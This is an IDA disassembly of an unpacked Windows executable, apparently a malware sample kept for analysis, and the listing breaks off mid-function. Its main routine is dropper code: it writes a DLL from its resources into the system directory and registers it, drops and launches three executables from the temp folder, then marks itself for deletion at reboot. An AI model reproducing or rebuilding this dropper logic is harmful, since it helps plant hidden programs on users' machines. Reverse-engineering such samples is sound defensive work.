;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2EDD6F656D6BE9CCBFAE436D84CA4771

; File Name   :	u:\work\2edd6f656d6be9ccbfae436d84ca4771_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00004000 (  16384.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_401090+70p
					; sub_401090+C5p ...

arg_0		= dword	ptr  4
arg_4		= word ptr  8
arg_8		= dword	ptr  0Ch

		movzx	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	0Ah
		push	eax
		push	esi
		call	ds:dword_405018	; FindResourceA
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_405014	; LoadResource
		push	edi
		push	esi
		mov	ebx, eax
		call	ds:dword_405010	; SizeofResource
		push	ebx
		mov	edi, eax
		call	ds:dword_40500C	; LockResource
		mov	ecx, [esp+0Ch+arg_8]
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	0C0000000h
		push	ecx
		mov	ebx, eax
		call	ds:dword_405008	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401074
		push	0
		lea	edx, [esp+10h+arg_4]
		push	edx
		push	edi
		push	ebx
		push	esi
		call	ds:dword_405004	; WriteFile
		test	eax, eax
		push	esi
		jnz	short loc_40107A
		call	ds:dword_405000	; CloseHandle

loc_401074:				; CODE XREF: sub_401000+57j
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40107A:				; CODE XREF: sub_401000+6Cj
		call	ds:dword_405000	; CloseHandle
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401090	proc near		; CODE XREF: .text:00401407p

var_310		= byte ptr -310h
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4

		sub	esp, 310h
		mov	eax, dword_407030
		push	ebx
		push	esi
		push	edi
		mov	[esp+31Ch+var_4], eax
		push	104h
		lea	eax, [esp+320h+var_108]
		push	eax
		push	0
		call	ds:dword_40503C	; GetModuleFileNameA
		push	104h
		lea	ecx, [esp+320h+var_20C]
		push	ecx
		call	ds:dword_405038	; GetSystemDirectoryA
		push	104h
		lea	edx, [esp+320h+var_20C]
		push	edx
		lea	eax, [esp+324h+var_310]
		push	eax
		call	ds:dword_405034	; lstrcpyn
		mov	esi, ds:dword_405030
		push	offset aIea_dll	; "\\iea.dll"
		lea	ecx, [esp+320h+var_310]
		push	ecx
		call	esi	; lstrcat
		lea	edx, [esp+31Ch+var_310]
		push	edx
		push	65h
		push	0
		call	sub_401000
		add	esp, 0Ch
		lea	eax, [esp+31Ch+var_310]
		push	eax
		call	ds:dword_40502C	; LoadLibraryA
		mov	edi, eax
		push	offset aDllregisterser ; "DllRegisterServer"
		push	edi
		call	ds:dword_405028	; GetProcAddress
		test	eax, eax
		jz	short loc_401127
		call	eax

loc_401127:				; CODE XREF: sub_401090+93j
		push	edi
		call	ds:dword_405024	; FreeLibrary
		mov	edi, ds:dword_405020
		lea	ecx, [esp+31Ch+var_310]
		push	ecx
		push	104h
		call	edi	; GetTempPathA
		push	offset aClr_exe	; "\\clr.exe"
		lea	edx, [esp+320h+var_310]
		push	edx
		call	esi	; lstrcat
		lea	eax, [esp+31Ch+var_310]
		push	eax
		push	66h
		push	0
		call	sub_401000
		mov	ebx, ds:dword_4050F4
		add	esp, 0Ch
		push	9
		push	0
		push	0
		lea	ecx, [esp+328h+var_310]
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	ebx
		lea	edx, [esp+31Ch+var_310]
		push	edx
		push	104h
		call	edi	; GetTempPathA
		push	offset aHp_exe	; "\\hp.exe"
		lea	eax, [esp+320h+var_310]
		push	eax
		call	esi	; lstrcat
		lea	ecx, [esp+31Ch+var_310]
		push	ecx
		push	67h
		push	0
		call	sub_401000
		add	esp, 0Ch
		push	9
		push	0
		push	0
		lea	edx, [esp+328h+var_310]
		push	edx
		push	offset aOpen	; "open"
		push	0
		call	ebx
		lea	eax, [esp+31Ch+var_310]
		push	eax
		push	104h
		call	edi	; GetTempPathA
		push	offset aFf_exe	; "\\ff.exe"
		lea	ecx, [esp+320h+var_310]
		push	ecx
		call	esi	; lstrcat
		lea	edx, [esp+31Ch+var_310]
		push	edx
		push	68h
		push	0
		call	sub_401000
		add	esp, 0Ch
		push	9
		push	0
		push	0
		lea	eax, [esp+328h+var_310]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ebx
		push	4
		push	0
		lea	ecx, [esp+324h+var_108]
		push	ecx
		call	ds:dword_40501C	; MoveFileExA
		mov	ecx, [esp+31Ch+var_4]
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		call	sub_40124E
		add	esp, 310h
		retn	10h
sub_401090	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40124E

loc_40121D:				; CODE XREF: sub_40124E:loc_401257j
		push	8
		push	offset stru_405160
		call	__SEH_prolog
		and	dword ptr [ebp-4], 0
		push	0
		push	1
		call	loc_4014C3
		pop	ecx
		pop	ecx
		jmp	short loc_401241
; END OF FUNCTION CHUNK	FOR sub_40124E

; =============== S U B	R O U T	I N E =======================================



sub_40123A	proc near		; DATA XREF: .rdata:stru_405160o
		xor	eax, eax
		inc	eax
		retn
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40123E	proc near		; DATA XREF: .rdata:stru_405160o
		mov	esp, [ebp-18h]
sub_40123E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40124E

loc_401241:				; CODE XREF: sub_40124E-16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ds:dword_405048	; ExitProcess
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_40124E

; =============== S U B	R O U T	I N E =======================================



sub_40124E	proc near		; CODE XREF: sub_401090+17Fp
					; sub_4018FC+167p ...

; FUNCTION CHUNK AT 0040121D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00401241 SIZE 0000000D BYTES

		cmp	ecx, dword_407030
		jnz	short loc_401257
		retn
; ---------------------------------------------------------------------------

loc_401257:				; CODE XREF: sub_40124E+6j
		jmp	loc_40121D
sub_40124E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40125C	proc near		; CODE XREF: .text:00401387p
					; .text:004013ADp ...

arg_0		= dword	ptr  4

		cmp	dword_4072A8, 1
		jnz	short loc_40126A
		call	sub_401A73

loc_40126A:				; CODE XREF: sub_40125C+7j
		push	[esp+arg_0]
		call	sub_4018FC
		push	0FFh
		call	off_407034
		pop	ecx
		pop	ecx
		retn
sub_40125C	endp

; ---------------------------------------------------------------------------
		push	60h
		push	offset stru_405170
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_402310
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	ds:dword_405058	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	dword_4072BC, ecx
		mov	eax, [esi+4]
		mov	dword_4072C8, eax
		mov	edx, [esi+8]
		mov	dword_4072CC, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_4072C0, esi
		cmp	ecx, 2
		jz	short loc_4012E1
		or	esi, 8000h
		mov	dword_4072C0, esi

loc_4012E1:				; CODE XREF: .text:004012D3j
		shl	eax, 8
		add	eax, edx
		mov	dword_4072C4, eax
		xor	esi, esi
		push	esi
		mov	edi, ds:dword_40504C
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_40131C
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_40131C
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_401334
		cmp	eax, 20Bh
		jz	short loc_401321

loc_40131C:				; CODE XREF: .text:004012FBj
					; .text:00401308j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_401348
; ---------------------------------------------------------------------------

loc_401321:				; CODE XREF: .text:0040131Aj
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_40131C
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_401342
; ---------------------------------------------------------------------------

loc_401334:				; CODE XREF: .text:00401313j
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_40131C
		xor	eax, eax
		cmp	[ecx+0E8h], esi

loc_401342:				; CODE XREF: .text:00401332j
		setnz	al
		mov	[ebp-1Ch], eax

loc_401348:				; CODE XREF: .text:0040131Fj
		push	esi
		call	sub_4022BE
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		cmp	dword_4072A8, 1
		jnz	short loc_401361
		call	sub_401A73

loc_401361:				; CODE XREF: .text:0040135Aj
		push	1Ch
		call	sub_4018FC
		push	0FFh
		call	sub_401761
		pop	ecx
		pop	ecx

loc_401374:				; CODE XREF: .text:00401351j
		call	sub_40221C
		mov	[ebp-4], esi
		call	sub_402071
		test	eax, eax
		jge	short loc_40138D
		push	1Bh
		call	sub_40125C
		pop	ecx

loc_40138D:				; CODE XREF: .text:00401383j
		call	ds:dword_405054	; GetCommandLineA
		mov	dword_407834, eax
		call	sub_401F4F
		mov	dword_4072A0, eax
		call	sub_401EAD
		test	eax, eax
		jge	short loc_4013B3
		push	8
		call	sub_40125C
		pop	ecx

loc_4013B3:				; CODE XREF: .text:004013A9j
		call	sub_401C7A
		test	eax, eax
		jge	short loc_4013C4
		push	9
		call	sub_40125C
		pop	ecx

loc_4013C4:				; CODE XREF: .text:004013BAj
		push	1
		call	loc_401791
		pop	ecx
		mov	[ebp-28h], eax
		cmp	eax, esi
		jz	short loc_4013DA
		push	eax
		call	sub_40125C
		pop	ecx

loc_4013DA:				; CODE XREF: .text:004013D1j
		mov	[ebp-44h], esi
		lea	eax, [ebp-70h]
		push	eax
		call	ds:dword_405050	; GetStartupInfoA
		call	sub_401C1D
		mov	[ebp-20h], eax
		test	byte ptr [ebp-44h], 1
		jz	short loc_4013FB
		movzx	eax, word ptr [ebp-40h]
		jmp	short loc_4013FE
; ---------------------------------------------------------------------------

loc_4013FB:				; CODE XREF: .text:004013F3j
		push	0Ah
		pop	eax

loc_4013FE:				; CODE XREF: .text:004013F9j
		push	eax
		push	dword ptr [ebp-20h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_401090
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_40141C
		push	edi
		call	sub_4018BC

loc_40141C:				; CODE XREF: .text:00401414j
		call	sub_4018DE
		jmp	short loc_40144E

; =============== S U B	R O U T	I N E =======================================



sub_401423	proc near		; DATA XREF: .rdata:stru_405170o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-24h], ecx
		push	eax
		push	ecx
		call	sub_401AAC
		pop	ecx
		pop	ecx
		retn
sub_401423	endp


; =============== S U B	R O U T	I N E =======================================



sub_401437	proc near		; DATA XREF: .rdata:stru_405170o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-24h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_401449
		push	edi
		call	sub_4018CD

loc_401449:				; CODE XREF: sub_401437+Aj
		call	sub_4018ED

loc_40144E:				; CODE XREF: .text:00401421j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn
sub_401437	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40145D	proc near		; DATA XREF: .data:00407004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_407030
		test	eax, eax
		jz	short loc_401473
		cmp	eax, 0BB40E64Eh
		jnz	short locret_4014C1

loc_401473:				; CODE XREF: sub_40145D+Dj
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_40506C	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_405068	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_405064	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_405060	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_40505C	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	dword_407030, esi
		jnz	short loc_4014C0
		mov	dword_407030, 0BB40E64Eh

loc_4014C0:				; CODE XREF: sub_40145D+57j
		pop	esi

locret_4014C1:				; CODE XREF: sub_40145D+14j
		leave
		retn
sub_40145D	endp

; ---------------------------------------------------------------------------

loc_4014C3:				; CODE XREF: sub_40124E-1Dp
		push	118h
		push	offset stru_405368
		call	__SEH_prolog
		mov	eax, dword_407030
		mov	[ebp-1Ch], eax
		mov	eax, dword_4072AC
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_401504
		mov	[ebp-4], ecx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		pop	ecx
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_4014FF

loc_4014F2:				; CODE XREF: sub_4014FF+3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_401603
; END OF FUNCTION CHUNK	FOR sub_4014FF

; =============== S U B	R O U T	I N E =======================================



sub_4014FB	proc near		; DATA XREF: .rdata:stru_405368o
		xor	eax, eax
		inc	eax
		retn
sub_4014FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014FF	proc near		; DATA XREF: .rdata:stru_405368o

; FUNCTION CHUNK AT 004014F2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00401603 SIZE 00000007 BYTES

		mov	esp, [ebp-18h]
		jmp	short loc_4014F2
sub_4014FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_401504:				; CODE XREF: .text:004014E3j
		mov	eax, [ebp+8]
		dec	eax
		jz	short loc_401520
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_401534
; ---------------------------------------------------------------------------

loc_401520:				; CODE XREF: .text:00401508j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h

loc_401534:				; CODE XREF: .text:0040151Ej
		mov	[ebp-20h], cl
		push	104h
		lea	eax, [ebp-124h]
		push	eax
		push	ecx
		call	ds:dword_40503C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_401561
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp-124h]
		push	eax
		call	sub_402450
		pop	ecx
		pop	ecx

loc_401561:				; CODE XREF: .text:0040154Cj
		lea	ebx, [ebp-124h]
		mov	eax, ebx
		push	eax
		call	sub_402680
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_40159D
		mov	eax, ebx
		push	eax
		call	sub_402680
		mov	ebx, eax
		lea	eax, [ebp-124h]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_402550
		add	esp, 10h

loc_40159D:				; CODE XREF: .text:00401576j
		push	ebx
		call	sub_402680
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp-18h], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_402450
		mov	edi, offset asc_4051B0 ; "\n\n"
		push	edi
		push	esi
		call	sub_402460
		push	offset aProgram	; "Program: "
		push	esi
		call	sub_402460
		push	ebx
		push	esi
		call	sub_402460
		push	edi
		push	esi
		call	sub_402460
		push	dword ptr [ebp-128h]
		push	esi
		call	sub_402460
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_40234D
		add	esp, 3Ch
; START	OF FUNCTION CHUNK FOR sub_4014FF

loc_401603:				; CODE XREF: sub_4014FF-9j
		push	3
		call	sub_4018CD
; END OF FUNCTION CHUNK	FOR sub_4014FF
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401660	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_401729
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4027FA
		add	esp, 4
		or	eax, eax
		jz	short loc_40171B

loc_4016A0:				; CODE XREF: sub_401660+B2j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401722
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4+4]
		or	eax, eax
		jz	short loc_401709
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_401709
		js	short loc_401714
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40270C
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40274E
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4027E2
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		mov	eax, [edi+ecx*4+8]
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	eax

loc_401709:				; CODE XREF: sub_401660+4Ej
					; sub_401660+68j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4016A0
; ---------------------------------------------------------------------------

loc_401714:				; CODE XREF: sub_401660+6Aj
		mov	eax, 0
		jmp	short loc_40173E
; ---------------------------------------------------------------------------

loc_40171B:				; CODE XREF: sub_401660+3Ej
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8

loc_401722:				; CODE XREF: sub_401660+43j
		mov	eax, 1
		jmp	short loc_40173E
; ---------------------------------------------------------------------------

loc_401729:				; CODE XREF: sub_401660+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40274E
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_40173E:				; CODE XREF: sub_401660+B9j
					; sub_401660+C7j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401660	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40274E
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401761	proc near		; CODE XREF: .text:0040136Dp
					; sub_4017FB+BAp

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_40504C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_401786
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:dword_405028	; GetProcAddress
		test	eax, eax
		jz	short loc_401786
		push	[esp+arg_0]
		call	eax ; dword_407024

loc_401786:				; CODE XREF: sub_401761+Dj
					; sub_401761+1Dj
		push	[esp+arg_0]
		call	ds:dword_405048	; ExitProcess
		int	3		; Trap to Debugger

loc_401791:				; CODE XREF: .text:004013C6p
		mov	eax, dword_407830
		test	eax, eax
		jz	short loc_4017A1
		push	[esp+arg_0]
		call	eax
		pop	ecx

loc_4017A1:				; CODE XREF: sub_401761+37j
		push	esi
		push	edi
		mov	ecx, offset dword_40700C
		mov	edi, offset dword_407018
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_4017CC

loc_4017B5:				; CODE XREF: sub_401761+65j
		test	eax, eax
		jnz	short loc_4017F8
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4017C1
		call	ecx

loc_4017C1:				; CODE XREF: sub_401761+5Cj
		add	esi, 4
		cmp	esi, edi
		jb	short loc_4017B5
		test	eax, eax
		jnz	short loc_4017F8

loc_4017CC:				; CODE XREF: sub_401761+52j
		push	offset loc_402260
		call	sub_402AA5
		mov	esi, offset dword_407000
		mov	eax, esi
		mov	edi, offset dword_407008
		cmp	eax, edi
		pop	ecx
		jnb	short loc_4017F6

loc_4017E7:				; CODE XREF: sub_401761+93j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4017EF
		call	eax

loc_4017EF:				; CODE XREF: sub_401761+8Aj
		add	esi, 4
		cmp	esi, edi
		jb	short loc_4017E7

loc_4017F6:				; CODE XREF: sub_401761+84j
		xor	eax, eax

loc_4017F8:				; CODE XREF: sub_401761+56j
					; sub_401761+69j
		pop	edi
		pop	esi
		retn
sub_401761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017FB	proc near		; CODE XREF: sub_4018BC+8p
					; sub_4018CD+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		inc	esi
		cmp	dword_4072FC, esi
		push	edi
		jnz	short loc_40181B
		push	[ebp+arg_0]
		call	ds:dword_405074	; GetCurrentProcess
		push	eax
		call	ds:dword_405070	; TerminateProcess

loc_40181B:				; CODE XREF: sub_4017FB+Ej
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_4072F8, esi
		mov	byte_4072F4, al
		jnz	short loc_401881
		mov	ecx, dword_407828
		test	ecx, ecx
		jz	short loc_401862
		mov	eax, dword_407824
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_40185B
; ---------------------------------------------------------------------------

loc_401845:				; CODE XREF: sub_4017FB+65j
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40184D
		call	eax

loc_40184D:				; CODE XREF: sub_4017FB+4Ej
		mov	eax, dword_407824
		sub	eax, 4
		cmp	eax, dword_407828

loc_40185B:				; CODE XREF: sub_4017FB+48j
		mov	dword_407824, eax
		jnb	short loc_401845

loc_401862:				; CODE XREF: sub_4017FB+3Cj
		mov	eax, offset dword_40701C
		mov	esi, offset dword_407020
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_401881

loc_401872:				; CODE XREF: sub_4017FB+84j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40187A
		call	eax

loc_40187A:				; CODE XREF: sub_4017FB+7Bj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_401872

loc_401881:				; CODE XREF: sub_4017FB+32j
					; sub_4017FB+75j
		mov	eax, offset dword_407024
		mov	esi, offset dword_407028
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_4018A0

loc_401891:				; CODE XREF: sub_4017FB+A3j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_401899
		call	eax

loc_401899:				; CODE XREF: sub_4017FB+9Aj
		add	edi, 4
		cmp	edi, esi
		jb	short loc_401891

loc_4018A0:				; CODE XREF: sub_4017FB+94j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jnz	short loc_4018BA
		push	[ebp+arg_0]
		mov	dword_4072FC, 1
		call	sub_401761

loc_4018BA:				; CODE XREF: sub_4017FB+ABj
		pop	ebp
		retn
sub_4017FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4018BC	proc near		; CODE XREF: .text:00401417p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_4017FB
		add	esp, 0Ch
		retn
sub_4018BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018CD	proc near		; CODE XREF: sub_40125C+1Cp
					; sub_401437+Dp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4017FB
		add	esp, 0Ch
		retn
sub_4018CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018DE	proc near		; CODE XREF: .text:loc_40141Cp
		push	1
		push	0
		push	0
		call	sub_4017FB
		add	esp, 0Ch
		retn
sub_4018DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018ED	proc near		; CODE XREF: sub_401437:loc_401449p
		push	1
		push	1
		push	0
		call	sub_4017FB
		add	esp, 0Ch
		retn
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=8Ch


sub_4018FC	proc near		; CODE XREF: sub_40125C+12p
					; .text:00401363p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-8Ch]
		sub	esp, 10Ch
		mov	eax, dword_407030
		mov	ecx, [ebp+8Ch+arg_0]
		push	ebx
		push	esi
		mov	[ebp+8Ch+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax

loc_401922:				; CODE XREF: sub_4018FC+33j
		cmp	ecx, dword_407040[eax*8]
		jz	short loc_401931
		inc	eax
		cmp	eax, 13h
		jb	short loc_401922

loc_401931:				; CODE XREF: sub_4018FC+2Dj
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_407040[esi]
		jnz	loc_401A57
		mov	eax, dword_4072A8
		cmp	eax, 1
		jz	loc_401A2F
		cmp	eax, edx
		jnz	short loc_401961
		cmp	dword_407038, 1
		jz	loc_401A2F

loc_401961:				; CODE XREF: sub_4018FC+56j
		cmp	ecx, 0FCh
		jz	loc_401A57
		push	104h
		lea	eax, [ebp+8Ch+var_10C]
		push	eax
		push	edx
		mov	[ebp+8Ch+var_8], dl
		call	ds:dword_40503C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_401997
		lea	eax, [ebp+8Ch+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_402450
		pop	ecx
		pop	ecx

loc_401997:				; CODE XREF: sub_4018FC+89j
		lea	edi, [ebp+8Ch+var_10C]
		mov	eax, edi
		push	eax
		call	sub_402680
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_4019CB
		mov	eax, edi
		push	eax
		call	sub_402680
		mov	edi, eax
		lea	eax, [ebp+8Ch+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_402550
		add	esp, 10h

loc_4019CB:				; CODE XREF: sub_4018FC+ABj
		push	edi
		call	sub_402680
		push	off_407044[esi]
		mov	ebx, eax
		call	sub_402680
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_402450
		push	edi
		push	ebx
		call	sub_402460
		push	offset asc_4051B0 ; "\n\n"
		push	ebx
		call	sub_402460
		push	off_407044[esi]
		push	ebx
		call	sub_402460
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_40234D
		add	esp, 2Ch
		jmp	short loc_401A57
; ---------------------------------------------------------------------------

loc_401A2F:				; CODE XREF: sub_4018FC+4Ej
					; sub_4018FC+5Fj
